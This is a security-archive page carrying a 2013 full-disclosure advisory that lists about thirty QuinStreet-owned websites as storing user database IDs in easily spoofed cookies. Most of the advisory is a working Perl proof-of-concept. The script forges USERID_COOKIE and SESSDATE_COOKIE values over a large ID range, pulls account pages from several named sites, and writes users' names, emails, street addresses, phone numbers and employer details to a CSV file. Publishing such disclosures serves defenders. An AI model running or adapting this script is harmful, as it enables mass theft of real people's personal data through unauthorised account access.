what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

QuinStreet Database ID Spoofing

QuinStreet Database ID Spoofing
Posted Mar 14, 2013
Authored by Henry Garrison

A confirmed security vulnerability has been identified with 30 high traffic web sites owned by QuinStreet. The vendor stores database IDs in cookies which are easily spoofed (USERID_COOKIE), allowing all user information to be accessed.

tags | exploit, web, spoof
SHA-256 | 12c6c5deb30c5b87678c3f751877699e042013d41da09a3c32d7c0543db5a1a8

QuinStreet Database ID Spoofing

Change Mirror Download
# March 13, 2013
# FULL-DISCLOSURE Exclusive - Vielen Dank John!
#
# VULNERABILITY SUMMARY
# ---------------------
# A confirmed security vulnerability has been identified with 30 high traffic web
# sites owned by QuinStreet.   Vendor stores database IDs in cookies which are
# easily spoofed (USERID_COOKIE), allowing all user information to be accessed. 
# Seven million users are reportedly in the database:
# http://www.itbusinessedge.com/about-itbe
#
# Web sites
include:
#
# Ziff Davis
# ----------
# http://www.eweek.com/
# http://www.baselinemag.com/
# http://www.cioinsight.com/
# http://www.channelinsider.com/
# http://www.eseminarslive.com/
#
# Developer.com Network
# ---------------------
# http://www.developer.com/
# http://www.devx.com/
# http://www.codeguru.com/
# http://www.htmlgoodies.com/
#
# IT Business Edge Network
# ------------------------
# http://www.itbusinessedge.com/
# http://www.datamation.com/
# http://www.smallbusinesscomputing.com/
# http://www.internetnews.com/
# http://www.serverwatch.com/
# http://www.infostor.com/
# http://www.enterprisestorageforum.com/
# http://www.enterprisenetworkingplanet.com/
# http://www.enterpriseappstoday.com/
# http://www.cioupdate.com/
# http://www.databasejournal.com/
# http://www.esecurityplanet.com/
# http://www.webopedia.com/
# http://www.linuxtoday.com/
#
# PROOF OF CONCEPT
# ----------------
# The below sample POC Perl script will extract user demographic data from the
# above listed web
sites and write the contents to a csv file.

# On Windows, use http://www.strawberryperl.com/, for other O/S visit www.perl.org/get.html
#
 
use strict;
use WWW::Mechanize;
use HTTP::Cookies;
 
# assetforms.* are iframes inserted into each website user management page
my @urls  = ("http://assetform.itbusinessedge.com/acl/accountController.jsp",
             "http://assetform.eweek.com/acl/accountController.jsp?css=eweek/"
    ."eweekArticleRegistrationForm.css&sdn=Eweek&w=http://www.eweek.com"
   
."&u=%2Findex.php%2FaccountManagement%3F&isIframed=yes&rand=11207&formType=",
             "http://assetform.developer.com/acl/accountController.jsp?formType="
    ."userProfile&css=developerCom/developerComArticleRegistrationForm.css&w="
    ."http://www.developer.com&sdn=developer&nlalkeys=null&submit=submit/");
 
my $agent = "User-Agent=Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; "
            ."Trident/6.0)";

#comma delimited file name
my $outfile = "eweek-users" .int(rand 100000) . ".csv";

my $cookie_jar = HTTP::Cookies->new;
my $mech = WWW::Mechanize->new(cookie_jar=>$cookie_jar);
$mech->agent($agent);
my $url;
my $Website;
my $LowUserid_Cookie = 0;
my $HighUserid_Cookie = 0;
my $i;
my $SessDate;
my $UserDemographic;
my $output_page;
 
RandUserRange();
CreateCsvHeader();
 
for ($i = $LowUserid_Cookie; $i < $HighUserid_Cookie; $i+=100) {
 $SessDate = "136303" . int(1000000 + rand 1000000);
 setCookies($i,$SessDate);
 
 foreach $url (@urls){
  $Website = substr($url, 17, 5);
  retrieveUrl($url);
  #print "\n\nCookies:\n", $mech->cookie_jar->as_string, "\n";
  print ("UserID:" . $i . "\n");
  print ("Website" . $Website . "\n");
  print ("Length of output_page:" . length($output_page));
  print ("\n\n");
  last if
length($output_page);
   }
 
 if (length($output_page)) {
    open(OUTFILE,">>$outfile");
    $UserDemographic = processForm($i);
    print OUTFILE $UserDemographic;
    #print OUTFILE $output_page;
    close (OUTFILE);
 }
 }
exit;
 
sub RandUserRange {
 # if (rand(2) < 1) {
   #$LowUserid_Cookie = int(rand( 1000)) + 390000;
   #$LowUserid_Cookie .= "21";
  
   $LowUserid_Cookie = "38500021";
   $HighUserid_Cookie ="47000021";
  
   #   }
   #  else {
   #$LowUserid_Cookie = int(rand(10000)) + 1500000;
   #  $LowUserid_Cookie =  "144530710";
   #  $HighUserid_Cookie =
"180000000";
# }
}
 
sub setCookies {
 $cookie_jar->clear;
 $cookie_jar->set_cookie('0','USERID_COOKIE',$_[0],'/','.itbusinessedge.com',0); 
 $cookie_jar->set_cookie('0','SESSDATE_COOKIE',$_[1],'/','.itbusinessedge.com',0); 
 $cookie_jar->set_cookie('0','USERID_COOKIE',$_[0],'/','.eweek.com',0); 
 $cookie_jar->set_cookie('0','SESSDATE_COOKIE',$_[1],'/','.eweek.com',0); 
 $cookie_jar->set_cookie('0','USERID_COOKIE',$_[0],'/','.developer.com',0); 
 $cookie_jar->set_cookie('0','SESSDATE_COOKIE',$_[1],'/','.developer.com',0); 
}
 
sub retrieveUrl {
  $mech->get($_[0]);
  $output_page = $mech->content();
 
  if ($output_page =~ m/Sign In/)  {
   $output_page = "";
  } 
   return ($output_page);
}
 
sub
processForm {
  $mech->form_name("formTypePost");
  my $Userid = $_[0];
  my $FirstName = clean($mech->value('FN'));
  my $LastName = clean($mech->value('LN'));
  my $Email = clean($mech->value('EM'));
  my $CompanyName = clean($mech->value('CompanyName'));
  my $Title = clean($mech->value('Designation'));
  my $JobFunction = clean($mech->value('JobFunction'));
  my $DecisionRole = clean($mech->value('DecisionRole'));
  my $Employees = clean($mech->value('NumberofEmployeesRange'));
  my $Industry = clean($mech->value('Industry'));
  my $StreetAddress = clean($mech->value('S1'));
  my $City = clean($mech->value('CT'));
  my $State = clean($mech->value('SP'));
  my $PostalZone = clean($mech->value('PC'));
  my $Country = clean($mech->value('CN'));
  my $Phone =
clean($mech->value('WP'));
  my $s;
  $s = $Userid .','. $Website .',' .$FirstName .','. $LastName .','. $Email .','
    .$CompanyName .','. $Title .','. $JobFunction .','. $DecisionRole .','
    .$Employees .','. $Industry .','. $StreetAddress .','. $City .','. $State
    .','. $PostalZone .','. $Country .','. $Phone . "\n";
  return ($s);
}
 
sub clean {
  local($a) = ($_[0]);
  $a =~ s/[^a-zA-Z0-9 \.\@!_%+-]//g;
  return $a
}
 
sub CreateCsvHeader {
  open(OUTFILE,">$outfile") || die("File write error");
  print OUTFILE "UserId,Website,FirstName,LastName,Email,CompanyName,Title,"
  ."JobFunction,DecisionRole,Employees,Industry,StreetAddress,City,State,"
  ."PostalCode,Country,Phone\n";  
  close(OUTFILE);
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close